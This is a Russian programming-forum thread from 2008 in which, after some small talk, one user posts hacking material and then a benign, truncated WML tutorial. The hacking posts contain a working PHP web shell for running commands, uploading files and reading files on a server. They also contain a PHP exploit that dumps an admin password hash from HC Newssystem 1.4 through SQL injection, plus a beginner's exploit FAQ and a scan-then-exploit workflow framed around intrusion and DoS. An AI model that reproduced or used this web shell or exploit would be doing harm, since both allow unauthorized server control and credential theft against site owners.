Перейти к содержимому

Фотография

Как начать программировать

- - - - -

  • Авторизуйтесь для ответа в теме

#11
ADM!N

Отправлено 13 ���� 2008 - 06:57

ADM!N

    Знаток

  • Пользователи
  • 307 сообщений

А исходники проги пинг могу отдать на доработку опытным людям=)

Давай в ПМ - пригодится! :)

опытный человек встречает программу по функционалу

Абсолютно верно!

Ну а по поводу qip, да я стобой согласен он нетк уж и красив, но ведь есть темы для него и много другого.

Если не устраивают скины - делайте свои! :)

куда приятней работать с программой если у неё приятный интрфейс.=)

Это про Миранду...

#12
+s.p.a.m.+

Отправлено 13 ���� 2008 - 07:33

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений

Давай в ПМ - пригодится!



сразу как токо найду на винте...(а то хлама всякого много.)
Предупреждаю сразу, версия проги откровенно "сырая"...
Но она очень шустрая, работает даже на 100 каналов...
А лутче асю свою мне кинь в пм обсудим в асе подробней и там-же кину.

#13
+s.p.a.m.+

Отправлено 14 ���� 2008 - 09:20

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Здесь я раскажу как написать шелл на языке php=) Пишем Web-Shell Напишем простенький вебшел. С его помощью можно будет выполнять на сервере команды, закачивать на него файлы и читать файлы находящиеся на сервере. Код 1 2 3 4 5 6 7 8 Сведения о системе:<br> <textarea cols=100 rows=4 readonly> <? passthru("uname -a"); passthru("id"); passthru("sysclt"); ?> </textarea> Теперь создадим форму со всеми окошечками и кнопочками: Код 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!-- Form --> <form action="<? echo($HTTP_REFERER) ?>" method="POST"> <p> Введите команду: <input type="command" size="100" name="cmd"><br> Рабочая директория:<br> <input type="text" size="121" name="dir" value=" <? if($dir != null) { chdir($dir); passthru("pwd"); } else passthru("pwd"); ?>"><br> <input type="submit" name="submit" value="Выполнить"><br> Загрузка файлов: <input type="file" size="100" name="filename"><br> Куда: <input type="text" size="95" name="dirname"><br> <input type="submit" name="upload" value="Загрузить"><br> Просмотр файлов: <input type="text" size="90" name="rfile"><br> <input type="submit" name="read" value="Прочитать"><br> </p> </form> Теперь выведем результат: Код 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Результат выполнения команды: <textarea cols=100 rows=25 readonly> <? if ($dirname != ""){ if(copy($_FILES["filename"]["tmp_name"], $dirname)) { echo("Файл успешно загружен"); } else { echo("Ошибка загрузки файла"); } }; if ($cmd != "") { passthru($cmd); } if ($rfile != ""){ if (!($fp=fopen($rfile,"r"))){ echo("Ошибка открытия файла"); }; fpassthru($fp); }; ?> </textarea> Вот и готовый шел =).

#14
+s.p.a.m.+

Отправлено 14 ���� 2008 - 09:26

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
А здесь уже намного интереснейБ, я напишу как на языке php зделать сплоит=)

Пишем exploite.

Что такое exploit ? Это посути
скрипт/программа призванная автоматизировать нашу работу. Писать можно
на каком угодно языке, главное чтобы тебе, читатель, было удобно его использовать.
В этой статье я буду приводить примеры кода php ибо эксплойт не сложный и на
все про все у меня ушло всеголишь 27 строк кода!В качестве примера уязвимости я решил выбрать не столь давнюю (на момент написания
статьи) уязвимость опубликованную на securitylab.ru. Это уязвимость SQL-inj,
обнаруженная в системе новостей HC Newssystem 1.4. C описанием баги вы можете
ознакомиться тут.

Первым делом заглянем на домашнюю страничку производителя, и качнем оттуда
исходник интересующего нас скрипта. Устанавливаем и наслаждаемся!

По совету секлаба попробуем "пощупать" багу:

[url="http://www.shram.kiev.ua/click?http://localhost/script/index.php?option=news&aktion=komm&ID=""]http://localhost/script/index.php?option=n...m&ID="[/url]

И сразу видим ошибку в hc_newsout.php в строке 497. Исходники то у нас есть, так
что мешает нам посмотреть что находится в этой строке? Открываем и видим
хитрый запрос:
Код
1
2
3

SELECT * FROM hcnewskommentar WHERE $ID=ID

Немного поэксперементировав получаем нужную строку запроса, которая будет
выбирать нам хэш админа:
Код
1
2
3
4

?option=news&aktion=komm&ID=1=0+UNION+SELECT+null, null,concat(mname,mpassword),
null,null,null,null+FROM+hcmitglieder+WHERE+ID=1/*

Ну вот и все.. можно приступать к написанию сплоита. Не буду тебя мучить
долгими выкладками и сразу приведу весь код:

Код
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

<?
function get_hash($file){
$file.="?option=news&aktion=komm&ID=1=0+UNION+SELE CT".
"+null,null,concat(mname,mpassword),null,null,null ,null+".
"FROM+hcmitglieder+WHERE+ID=1/*";
$page=file($file);
foreach($page as $str){
if(strstr($str,"">Von")){
$str=explode(' ',strip_tags($str));
$str=explode(" ",strip_tags($str));
return $str[3];
}
}
return "Error";
}
if($_POST["url"]){
die(get_hash($_POST["url"])); // результат
}else{
?>
<form method="post">
URL скрипта (например: http://www.esv-kicke...06/hcnews2006/)
<br />
<input type="text" name="url" />
<input type="submit" value="Exploite" />
</form>
<?}?>


Как видишь, наш "exploit" выполнет тоже самое что мыбы делали ручками, но
предоставляет нам более приятный интерфейс для этой цели.
Ну вот и все.. Эксплоит готов! Удачи тебе в написании собственных =)

#15
+s.p.a.m.+

Отправлено 15 ���� 2008 - 08:09

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Вот фак по сплоитам для ламеров.

Вопрос:Что такое эксплоит?
Ответ:Эксплоит – это такая программа, которая написана с целью эксплуатации (использования) конкретной дыры (уязвимости) в конкретном приложении (ОС, обычная программа, веб-приложение). Эксплоит может быть написан практически на любом языке программирования, (наиболее частые: C/C++, Perl, PHP, HTML+JavaScript) . Также, эксплоит может представлять из себя одиночный файл, который необходимо либо сразу запустить, либо предварительно скомпилировать. И еще, эксплоит может представлять из себя архив, чаще с расширениями .tar или .tar.gz, потому как большинство из них пишутся под UNIX системы. В этих архивах может лежать что угодно:
* те же .pl файлы
* скрипт или исходник на C, Java, etc
* просто описание "хитрого обращения"
* etc
Вопрос:Какие бывают виды эксплоитов?
Ответ:Эксплоиты бывают локальными (local) и удаленными (remote). Используя локальные эксплоиты, можно изменить привилегии, уже имея доступ к машине. Удаленные же эксплоиты позволяют получить некоторые привилегии на удаленной машине, а уже эти полученные привилегии можно расширять, используя локальные эксплоиты. Так, например, если мы имеем FreeBSD <=4.3 с запущенным telnetd (23 порт), используя удаленный эксплоит, приводящий к переполнению буфера, получаем привилегии того пользователя, от которого запущен процесс telnetd.

Вопрос:На какие классы делятся эксплоиты?
Ответ:Class'ные эксплоиты.
Некорректно говорить, что эксплоиты приводят к тому-то и тому-то. На самом деле, они просто переполняют буфер, а какие-либо действия выполняет Shell-код. Именно от содержания Shell-кода зависит то, что произойдет при успешном выполнении атаки: откроется порт, выполнится команда или сервер уйдет в «Даун».
DOS Shellcode Xploits.
Чаще всего, эти эксплоиты удаленного действия. Целью, которую преследует ][акер, натравливая такую штуку на уязвимый сервер, является выведение из строя («Даун») атакуемого сервиса или всей операционной системы (да-да, бывают такие случаи, когда повешенный демон забирает с собой всю ОС). С каждым днем происходит все больше таких атак. Почему? Потому что тем, кто заказывает эти атаки, не нужна информация с сервера. Цель таких атак, как правило, банальное лишение конкурента дееспособности. Согласись, атаковать уязвимый сервис, подверженный DOS-атаке, проще, чем натравливать целую армию компьютеров на произведение ICMP- и подобных ей атак, действующих не проработанным принципом, а количеством. Второй причиной является то, что иногда, для того чтобы насолить врагу, достаточно DOS-атаки, а не rm – rf, а уязвимостей, позволяющих произвести убойную атаку, гораздо больше, чем тех, которые позволяют получить доступ. Это происходит потому, что часто переполнить буфер бывает достаточно легко, а «впарить» shell-код так, чтобы он выполнился, как задумано, очень сложно, а порой даже нереально, так как в дырявой программе все-таки существует какая-то вредная проверка на «вшивость».

Вопрос:При компиляции исходника выдается ошибка (Не хватает библиотеки!), что делать?
Ответ:Вероятно, вы просто забыли установить какую нибудь библиотеку.
Посмотрите, какие библиотеки использует эксплоит (в исходнике) и проверьте, все ли они имеются в наличии. Как минимум должны быть библиотеки для работы с сетью.

Вопрос:При компиляции исходника выдается синтаксическая ошибка в исходнике, что не так?
Ответ:Ответов несколько. Возможно это не эксплоит, а фейк (если ты его
стрейдил). Возможна и другая ситуация, например в код вкралась
синтаксическая ошибка (при копировании ты чего-то не доглядел). Ну и
третий вариант - ошибка нарочно допущена автором эксплоита. Очень часто
эксплоиты защищают таким методом. Т.е. авторы слегка ломают эксплоит,
так, чтобы проффесионал, понимая суть происходящего, мог исправить код.
Таким образом, реализуется "защита от дурака".

Вопрос:Для чего нужен эксплоит?
Ответ:Эксплоиты используются в основном для того, чтобы:
1)получить доступ к системе;
2)поднять свои права в системе (наиболее характерно для *NIX)
3)за DoS'ить систему «до смерти» (отправить в полный даун)
4)получить пароли пользователей (взлом форумов, чатов, гостевых, и прочих веб-приложений)
Вопрос:Как пользоваться готовыми (скачанными с инета) эксплоитами?
Ответ:Эксплоиты, написанные на С/С++ нужно компилировать в исполняемые файлы (если они предоставлены в текстовом виде) и только потом запускать.
Для использования эксплоитов, написанных на Perl'е, PHP нужны интерпретаторы этих языков (компиляция не нужна).
Чтобы запускать эти эксплоиты нужно давать их на обработку интерпретатору (соответственно Perl интерпретатор и PHP интерпретатор
Вопрос:Как «писать» эксплоиты?
Ответ:Представим, что мы нашли баг на переполнение в каком-нибудь софте и просто горим желанием его использовать (а впоследствии сообщить о нем производителю), причем не как банальный DoS, а как способ получения доступа к машине с таким софтом. Для этого потребуется написать эксплоит под наш баг, который бы открывал командный shell (шелл) на каком-нибудь порту. Процесс написания эксплоита мы будем делить на три этапа, связанных с использованием разных инструментов. Первый этап – сбор данных об уязвимости: поиск функции, в которой происходит переполнение, запись адреса возврата этой функции, размера буфера и кучи других необходимых вещей. Для этих действий нам потребуются утилиты двух видов: отладчики и дизассемблеры. С помощью дизассемблеров очень легко ориентироваться в коде уязвимой программы, а отладчик (дебаггер) будет ключом к данным, возникающим в ходе работы приложения, – возможность просмотреть стек в момент переполнения меня всегда очень радовала.
Второй этап – написание shell-кода, голого куска программы, который бы открывал доступ к компьютеру жертвы. Это самая ответственная и сложная, на мой взгляд, часть процесса. Здесь нам понадобится ассемблер, ведь только с его помощью можно создать работающий, отвечающий всем хитрым требованиям код.
Третий этап – собственно написание эксплоита, программы, которая бы реализовала переполнение: засунула бы в буфер shell-код и сразу же им воспользовалась. Тут никак не обойтись без хорошего компилятора Си, на котором проще и удобнее написать вкусный код.
Вопрос:Где взять отладчики и дизассемблеры, которые нужны для «написания» эксплоита?
Ответ:«Soft-Ice» (отладчик). Скачать. http://www.numega.com.
«Ida Pro» (дизассемблер). Скачать. http://www.idapro.com.

Вопрос:Как компилировать эксплоиты написанные на С в Windows?
Ответ:Компилировать нужно с помощью компилятора, который можно скачать здесь http://prdownloads.s...eforge.net/dev- … setup.exe, или найти здесь http://www.bloodshed...dev/devcpp.html.

Вопрос:Как обрабатывать эксплоиты, написанные на Perl и PHP с помощью интерпретатора?
Ответ:Отдать на обработку интерпретаторам.
PHP интерпретатор-http://ru2.php.net/get/php-5.0.4-Win32.zip/from/this/mirror
Perl интерпретатор-http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.6.811-MSWin32-x86-122208.msi

Вопрос:Где можно найти информацию про эксплоиты (желательно на русском)?
Ответ:Про эксплоиты можно почитать на порталах по безопасности
(www.securityfocus.com и т.д.) или на сайтах отечественных ][ак-групп.

Вопрос:Где найти и скачать эксплоиты?
Ответ:Эксплоиты можно найти по следующим адресам:
www.securitylab.ru
www.insecure.org
www.hack.co.za
www.packetstormsecurity.org
www.securityfocus.com
www.ya.ru
www.gg.ru
Не много об SQL and PHP injection (непосредственно имеющим отношение к эксплоитам).

Вопрос:Что такое SQL, PHP-инъекции, межсайтовый скриптинг – XSS атаки.
Ответ:Web-приложения, написанные на языках, использующих C/C++/Perl/PHP (точно на таких же языках пишутся эксплоиты) также могут быть уязвимы к таким традиционным атакам как XSS, могут быть произведены манипуляция кодом и содержимым SQL-инъекции и PHP-инъекции.
Одной из главных причин возникновения таких уязвимостей является недостаточное знание безопасных методов программирования разработчиками web-приложений (о них я расскажу позже). В результате получается, что защита приложения не является основной целью разработки. Другая причина появления уязвимостей - это большая сложность свойственная онлайновым системам, что требует создание комплексных проектов и логики программирования.

#16
+s.p.a.m.+

Отправлено 15 ���� 2008 - 08:11

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Без коментариев.... 1. Межсайтовый скриптинг (XSS). Принцип работы межсайтового скриптинга основан на внедрении злонамеренного кода в HTML-код страницы, что приводит к выполнению такого кода на машине «жертвы». Давайте рассмотрим эту уязвимость на примере сайтов использующих PHP .Если атакующий получит возможность вставить произвольный HTML-код, то он сможет управлять отображением веб-страницы с правами самого сайта. Пример XSS атаки: «http://host/xxx.php?name=» Если внедрить код в уязвимую страницу сайта или форума, то вполне реально получить содержимое «печенек» администратора. Также, XSS представляет опасность, если произвольный код отображается на страницах с расширением shtml, т.е. сервер поддерживает технологию SSI (Server Side Includes). Это может привести к чтению или выполнению произвольных файлов на сервере. 2. SQL-инъекции. SQL-инъекция относится к вставке метасимволов SQL вводимые пользователем данные, что приводит к изменению запроса в конечной базе данных. Как правило, злоумышленники для начала определяют уязвимость сайта к такой атаке (для этого посылается знак одинарной «кавычки»). Последствия выполнения такой атаки на уязвимом сайте могут находиться в пределах от появления детального сообщения об ошибке, что раскрывает злоумышленнику используемую на сайте технологию, до доступа к закрытым областям сайта или выполнения на сервере произвольных команд операционной системы. Методы SQL-инъекции зависят от типа используемой базы данных. Например, SQL-инъекция на базе данных «Oracle» осуществляется в основном с помощью использования ключевого слово union, и она намного более трудна, чем на MS SQL-сервере, где можно выполнить множественные запросы, отделяя их символом точки с запятой. В заданной по умолчанию конфигурации MS SQL-сервер выполняется с привилегиями Local System и имеет расширенную процедуру «xp_cmdshell», позволяющую выполнение команд операционной системы. 3. PHP-инъекции. Из названия видно, что данной уязвимости подвержены скрипты, написанные на языке PHP. Метод реализации заключается в передачи функциям include() и reqiure() произвольных параметров, что может привести к выполнению произвольного кода на целевой машине с правами веб-сервера. Данная уязвимость более опасна, чем две предыдущие, т.к. при стандартной конфигурации PHP и веб-сервера (что характерно для большинства серверов) возможно использование командного интерпретатора. Ну что ж, подведем итог… Подводя итог, нужно отметить, что независимо от конфигурации сервера, распределения прав невозможно полностью обезопасить себя от реализации подобного рода уязвимостей. Самым оптимальным решением является фильтрация переданных пользователем данных. Это и должны учитывать программисты при написании скриптов, при использовании данных методов решения задач. Вопрос:Что такое уязвимости в Web-приложениях и как их использовать, если они доступны? Ответ:Я выделю только десять, наиболее опасных «багов» (уязвимостей) в Web-приложениях. На первом месте списка находится уязвимость, связанная с отсутствием проверки параметров в http-запросах. В результате, используя особые параметры, ][акер может получить доступ к ресурсам сервера через Web- приложение. На втором месте находится несоблюдение политик управления доступом к ресурсам. Это позволяет злоумышленнику использовать закрытые ресурсы или получать доступ к учетным записям других пользователей. На третьей позиции рейтинга значится несоблюдение правил управления учетными записями и пользовательскими сессиями. Эта уязвимость связана, прежде всего, с отсутствием надежной защиты опознавательных мандатов пользователя и идентификаторов сессий, таких как файлы cookie. Это позволяет ][акерам перехватывать данные других пользователей и пользоваться системой от их имени. На четвертой позиции находятся уязвимости, связанные с XSS ошибками, которые могут использоваться для получения доступа к кукисам (печенькам) пользователя или нападений против Web приложения. Под пятым пунктом упоминаются ошибки переполнения буфера, имеющиеся во многих программных продуктах - от скриптов и драйверов до операционных систем и серверного ПО. Отсутствие проверки некоторых параметров может приводить к переполнению буфера, а ][акер при этом захватывает управление компьютером. Сообщения об обнаружении ошибок переполнения появляются чрезвычайно часто. На шестой позиции находятся дыры, связанные с отсутствием надлежащего контроля за параметрами, передаваемыми компьютерами при доступе к внешним ресурсам. Если ][акер сумеет ввести в эти параметры свои команды, последствия могут быть самыми печальными. Далее я хочу отметить уязвимости, связанные с неправильной реализацией обработки ошибок в программном обеспечении. В некоторых случаях при возникновении ошибок ][акер может получить информацию о системе или даже доступ к ней. На восьмой позиции находится неудачное использование криптографии. Я хочу отметить, что часто инструменты для шифрования информации имеют собственные дыры, из-за чего применение сильной криптографии теряет всякий смысл. На девятом месте находятся уязвимости, связанные с отсутствием надлежащей защиты подсистем удаленного администрирования. И хотя наличие Web интерфейса удобно, поскольку позволяет администратору управлять системой с любого подключенного к cети компьютера, при отсутствии надежной защиты то же самое может делать и ][акер. Наконец, на десятом месте среди уязвимостей я хотел бы опубликовать неправильное конфигурирование серверного ПО, многие настройки которого серьезно влияют на безопасности системы. Ну вот в принципе и все…

#17
+s.p.a.m.+

Отправлено 15 ���� 2008 - 08:13

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
вот еще нашел инфу про эксплоиты для новичков: Эксплойт (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы. Существует несколько методов классификации уязвимостей. Наиболее общий — это то, каким образом эксплойт контактирует с уязвимым программным обеспечением. «Удалённый эксплойт» работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к уязвимой системе. «Локальный эксплойт» требует предварительный доступ к уязвимой системе и обычно повышает привилегии для лица, запускающего эксплойт над уровнем, который был предоставлен системным администратором. Эксплойт «подставного сервера» подвергает риску машину конечного пользователя в том случае, когда к нему был совершён доступ с помощью уязвимого клиентского приложения. Эксплойт против клиентского приложения может также требовать некоторого взаимодействия с пользователем уязвимого приложения и может быть использован в связке с методами социального инжиниринга, т.е. несанкционированного доступа к информации без использования технических средств. Эксплойты могут также быть классифицированы по типу уязвимости, которую они атакуют. См. переполнение буфера, межсайтовый скриптинг, подделка межсайтовых запросов, SQL-инъекция. Другая классификация по действию предпринятому против уязвимой системы: несанкционированный доступ к данным (копирование, удаление или модификация), выполнение кода, отказ в обслуживании. Эксплойты могут быть разработаны для непосредственного обеспечения суперпользовательского уровня доступа к компьютерной системе. Однако, возможно использовать несколько эксплойтов — первый для получения удаленного доступа с невысоким уровнем, и повторно, для локального повышения привилегий до тех пор, пока не будет получен уровень доступа « 0-дневными эксплойтами» (англ. zero-day, 0-day exploits) и получение доступа к таким эксплойтам — первейшее желание неквалифицированных вредоносных хакеров, так называемых скрипт-кидди. Теперь поподробнее... Виды эксплоитов - Эксплоит может представлять из себя одиночный файл, который необходимо либо сразу запустить либо предварительно компилировать. - Эксплоит может представлять из себя архив, чаще с расширениями .tar или .tar.gz, потому как большинство из них пишутся под UNIX системы. В этих архивах может лежать что угодно: * те же .pl файлы * скрипт или исходник на C, Java? etc * просто описание "хитрого обращения" * etc Алгоритм действия * Сканируем хост (желательно сканировать с использованием nmap) * Смотрим открытые порты и что на них висит * Телнетимся на открытые порты и узнаем версии демонов * Находим дырявый демон * Ищем эксплоит * Засылаем его на shell-account в лине * Компилируем его * Запускаем эксплоит Поиск эксплоита Предположим, что мы узнали, что какой-то демон дырявый. Срочно бежим в bugtrack's и архивы уязвимостей и находим эксплоит. Ищем сплоит либо по версии демона либо по версии операционной системы. shell-account Варианты: 1. У вас есть шелл (не рассматривается - переходите к следующему заголовку) 2. У вас нет шелла и вы хотите его поиметь Действия: - Можно использовать халявный шелл (однако у них отключены многие нужные вещи) 3. У вас есть собственный UNIX (переходи к следующему заголовку) Компиляция Допустим, мы нашли нужный нам сплоит на C. Большинство эксплоитов пишутся именно на этом языке программирования. gcc file.c -o file - Скомпилировать C код и получить при выходе бинарник file Если у тебя архив, то раскрываем: tar -xvzf pack.tgz cd [имя каталога] ./configure make make install Возможно, придется почитать Readme File перед установкой, если это специфичный эксплоит. Запуск эксплоита Если эксплоит на Perl, тогда для запуска используется команда perl exploit.pl [parameters|flags] Если эксплоит на C, то $./sploit [parameters] Каждый эксплоит подразумевает вставку своих параметров, о назначении которых обычно сообщает сам при запуске. Проблеммы на халявных шеллах На бесплатных шеллах часто встречаются следующие проблеммы: - недостаточно прав - не возможно подключить .h библиотеки (которые используют все эксплоиты) Появление этих проблем не удивительно. Если бы администраторы разрешили все функции шелла, то тогда это был бы не бесплатный сервис для знакомства с UNIX системой а плацдарм для массированных атак на сервера. Надеюсь, теперь проблем у вас с этим не будет. Несколько пояснений: 1. Что такое shell? Дословно shell переводится как "оболочка". Это программа, которая принимает команды юзера из командной строки, преобразует их в понятную для операционки форму и выводит ответ операционки в понятной для юзера форме . Другое название shell - командный интерпретатор. Вот несколько наиболее юзабельных shell'ов: bash, sh, csh, tcsh, psh. Отличаются они тем, что у каждой shell свой язык для написания скриптов (у родственных шеллов они почти одинаковые, как у bash и sh). Еще они отличаются по функциональности: некоторые позволяют редактировать вид командной строки. Почти у каждого шелла есть свои встроенные переменные. Если не знаешь, какой у тебя шелл, вводи команду echo $SHELL. Если хочешь поменять свой дефолтовый шелл, вводи команду chsh. 2. Что такое демон (daemon)? Демоном называется программа, работающая в фоновом режиме (background) и не имеющая контрольного терминала. Резидентка, короче :0). Особо выделю следующий очень часто задаваемый вопрос: "Как запускать сплойт на пёрле? Когда я его запускаю, он у меня сразу вырубается!:((". Ответ: Скачиваем Active perl - интерпретатор языка Perl, открываем блокнот, пишем там "cmd", сохраняем в директорию C:\Perl\bin\ c расширением *.bat Запускаем.

#18
+s.p.a.m.+

Отправлено 18 ���� 2008 - 10:15

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
WML

Перевод Жаркова Алексея <mailto:[email protected]>, <http://www.tay.ru/>
Статья взята с сайта www.WAPGATE.RU
Вступление
WML - язык разметки, основанный на XML (extensible Markup Language). Официальная спецификация WML разработана и поддерживается WAP Forum, производственным консорциумом, основанном Nokia, Phone.com, Motorola и Ericsson. Эта спецификация определяет синтаксис, переменные и элементы используемые в файлах WML. Последнее определение типа документа (Document Type Definition) для тех, кто знаком с XML, доступны по адресу: <http://www.wapforum....TD/wml_1.1.xml>
Любой правильный XML-файл должен соответствовать этому DTD. В противном случае он не будет правильно обработан.
В этом руководстве, мы расскажем об основах XML и представим пример. Этот пример демонстрирует обработку событий, навигацию и обмен информацией с расположенным на сервере скриптом.
Понимание WML
WML базируется на XML, языке разметки получившем невероятную поддержку благодаря своей способности описывать данные (HTML, кстати, используется для описания представления данных). HTML - предопределяет те тэги, которые могут быть использованы для описания страницы так, чтобы ее смог правильно понять и обработать броузер. XML, в свою очередь, позволяет создателю документа определять такой набор тэгов, которой он считает необходимым. Этот набор тэгов группируется затем в набор грамматических "правил", называемых по-другому Определение Типа Документа или проще DTD. Как уже упоминалось ранее, DTD, используемый для описания WML, расположен по адресу: <http://www.wapforum....TD/wml_1.1.xml>
В телефоне или в любом другом коммуникационном устройстве, заявленном как WAP-совместимое, загружено специальное программное обеспечение (известное как микроброузер), которое полностью понимает, как обрабатывать все вариации WML 1.1 DTD.
Самая первая фраза внутри любого XML-документа называется пролог. Поскольку стандартен, он содержит две строчки кода: определение версии XML и DTD (указатель на файл, содержащий DTD)
Пролог выглядит следующим образом.
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
Следом за прологом, в каждом XML-документе содержится один единственный элемент, который содержит в себе остальные подэлементы и entities. Так же как и в HTML этими элементами являются угловые скобки: <> и </>. Например: <element>data</element>. В документе должен содержаться только один элемент описывающий сам документ. В WML этим элементом является <wml>. Все остальные элементы содержатся уже внутри него.
Два самых распространенных способа хранения информации внутри XML-документа это элементы и их атрибуты. Элементы определяют структурную разметку внутри документа открытием и закрытием определенных тэгов. Элементы, в свою очередь могут содержать подэлементы. Атрибуты в основном используются для описания элементов. В качестве примера можно привести следующий кусочек кода:
<!-- This is the Login Card -->
<card id="LoginCard" title="Login">
Please select your user name.
</card>
В этом примере элемент card содержит атрибуты id и title. Комментарий в WML, также как и в HTML заключается между тэгами <!-- и -->. В дальнейшем мы будем использовать элементы и их атрибуты для написания примеров.
Правильные WML элементы.
В WML описывается набор элементов, которые можно комбинировать для создания WML-документа. Эти элементы можно условно разделить на две группы: Элементы типа Deck/Card и элементы обработки событий.
Элементы типа Deck/Card
wml card template head access meta
Элементы обработки событий
do ontimer onenterforward onenterbackward onpick onevent postfield
Задачи
go prev refresh noop
Переменные
setvar
Ввод пользователя
input select option optgroup fieldset
Анкоры, Картинки и Таймеры
a anchor img timer
Форматирование текста
br p table tr td
Каждый их этих элементов может быть использован в документе используя следующий синтаксис.
<элемент> значение элемента </элемент>
Если элемент не содержит внутри себя какую либо информацию (обычно такое случается с элементом форматирования <br>), вы можете использовать тэг с добавленным к нему "/" (например <br/>).
Строительство приложений с помощью WML.
WML был разработан для для устройств с низкой пропускной способностью и маленьким дисплеем. В качестве составной этого дизайна была применена концепция дек и карт. Один WML-документ (а точнее элементы, содержащиеся внутри элемента <wml>) называется декой (deck). Интерактивное взаимодействие с пользователем осуществляется с помощью карт (card). Достоинство такой реализации заключается в том, что несколько экранов могут быть загружены на клиентское устройство за один раз. Используя WMLScript, обработка действий пользователя может быть произведена с использованием находящихся в одной деке карт, исключая тем самым множественные транзакции с сервером. Конечно, в связи с ограниченными ресурсами клиентского устройства возникает другая проблема. Поэтому вам вполне возможно придется разбрасывать ваши карты по разным деками во избежании чрезмерного увеличения объема одного файла.
Использование переменных
Поскольку, как мы говорили ранее, в одной деке может содержаться несколько карт, нам потребуется механизм хранения информации из одной карты для ее последующего использования в другой. Этот механизм обеспечивается переменными. Переменные могут быть созданы и определены, используя несколько различных методов.
Используя элемент <setvar> в качестве результата выполнения пользователем определенных действий. Кроме того, этот элемент может быть использован для определения переменной внутри следующих элементов: <go>, <prev>, <refresh>. Следующий элемент создает переменную x и присваивает ей значение "123".
<setvar name="x" value="123"/>
Переменным также присваивается значение через использование элементов <input>, <select>, <option> и других. При этом автоматически создается переменная с именем этого элемента. По окончании ввода, ей присваивается значение соответствующее выбору пользователя. Например следующий элемент создаст переменную с именем "x"
<select name="x" title="X Value:">
Несмотря на то, что мы не описывает WMLScript, следует отметить, что WML и WMLScript используют одни и те же переменные в рамках одной деки.
Создаем деку.
В этом примере, мы начнем создавать деку, которая позволяет нам сначала выбрать имя пользователя из предложенного списка, затем ввести пароль после чего выводит на экран полученные данные.
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card id="Login" title="Login">
<do type="accept" label="Password">
<go href="#Password"/>
</do>
<p>
UserName:
<select name="name" title="Name:">
<option value="John Doe">John Doe</option>
<option value="Paul Smith">Paul Smith</option>
<option value="Joe Dean">Joe Dean</option>
<option value="Bill Todd">Bill Todd</option>
</select>
</p>
</card>
<card id="Password" title="Password:">
<do type="accept" label="Results">
<go href="#Results"/>
</do>
<p>
Password: <input type="text" name="password"/>
</p>
</card>
<card id="Results" title="Results:">
<p>
You entered:<br/>
Name: $(name)<br/>
Password: $(password)<br/>
</p>
</card>
</wml>
Как вы наверно уже заметили, вначале примера идет пролог, в котором мы определяем версию XML и DTD для нашего документа. Затем следует элемент <wml>, дека которая содержит три карты: Login, Password и Result. Каждая из этих карт определяется с использованием элемента <card>. Поскольку карты Login и Password определяют события, они используют элемент <do type="accept"> для определения события которое произойдет, когда пользователь закончит ввод.
Если мы определяем элемент <do> типом "accept" он появляется на экране в качестве опции
Выбор этой опции приведет к анализу введенной пользователем информации.
Атрибут "href" тега <go> работает так же, как и в элементе <a> из HTML. Также как и в HTML, для того, чтобы на экран вывелась другая карты из активной деки, на нее надо сослаться используя символ "#" перед именем карты.
<go href="#result"/>
Эта карта обрабатывает пользовательский ввод и используя определенные в предыдущей карте переменные выводит их содержимое на экран. Вызов переменных осуществляется следующим образом:
$(variable_name)
Вызов скрипта.
Без возможности производить различные операции с информацией на сервере, WML остался бы просто средством форматированного вывода текста. Добавление такой возможности, напротив, открывает любому WAP-совместимому устройству пути передачи сообщений через Интернет, промышленному использованию на предприятии и электронной коммерции. WAP-совместимое устройство взаимодействуют с подобными источниками информации через WAP-шлюз. Этот шлюз должен уметь взаимодействовать с различными стандартами сотовой связи, такими как CDMA, GSM или GPRS. Однако, вполне возможно установить тестовый шлюз в сочетании с популярными веб-серверами (такими как MS IIS или Apache) прямо в вашей локальной сети. Мы не будем тут сильно вдаваться в детали процесса установки шлюза, однако нельзя не предостеречь вас от самой распространенной ошибки. Вам обязательно необходимо добавить определения следующих типов в конфигурацию веб-сервера.
WML text/vnd.wap.wml wml
WMLScript text/vnd.wap.wmlscript wmls
Теперь мы рассмотрим небольшой примерчик в котором пользователю будет предложено сделать выбор какой-то одной опции а затем на основе этого выбора с сервера будет загружена определенная информация. Для этого примера мы используем ASP. С тем же успехом мы могли написать скрипт использую Javascript, Servlets, Perl или любой другой язык. В следующем листинге приведен исходный код для нашей новой деки. В ней содержится всего один элемент <select>, который предлагает пользователю выбор из нескольких опций. Элемент <go> вызывает серверный скрипт с определенными параметрами.
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card id="Order" title="Query Inventory">
<p>
<select name="Items" title="Items">
<option value="Books">Books</option>
<option value="Music">Music</option>
<option value="Video">Video</option>
<option value="Software">Software</option>
</select>
</p>
<do type="accept" label="Query">
<go href="http://127.0.0.1/WML.../Inventory.asp"
method="post">
<postfield name="Items" value="$(Items)"/>
</go>
</do>
</card>
</wml>
Скрипт показанный на листинге 3 обрабатывает полученную из деки информацию и выводит на экран результат.
<%
Dim Body
If Request.Form("Items") = "Books" Then
Body = "You selected Books!"
